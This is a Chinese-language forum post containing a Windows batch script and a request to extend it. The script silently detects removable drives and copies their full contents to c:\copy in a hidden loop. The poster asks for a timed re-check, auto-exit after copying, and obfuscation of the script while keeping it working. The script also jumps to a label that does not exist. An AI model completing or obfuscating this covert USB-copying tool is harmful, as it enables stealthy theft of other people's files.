将代码:
- @echo off
- cls
- del /Q /f "%temp%\copy.tmp" >nul 2>nul
- for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
- findstr /i "可移动驱动器" "%temp%\copy.tmp"
- if errorlevel==1 goto end
- if errorlevel==0 goto copy
- :end
- rem 没有检测到可移动磁盘!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
- :copy
- if exist c:\copy goto goon
- cd\
- cd /d c:
- md copy
- :goon
- for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
- xcopy /e /y %%i\*.* c:\copy >nul 2>nul
- )
- rem 已复制,请及时清理文件!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
复制代码
加入几个功能:
1 当没有检测到移动存储设备时60S后重新检测.
2 当复制完成后关闭该脚本
3 最好加密该脚本,但不影响其运行.
小弟在此先谢谢了```请高手直接给码 |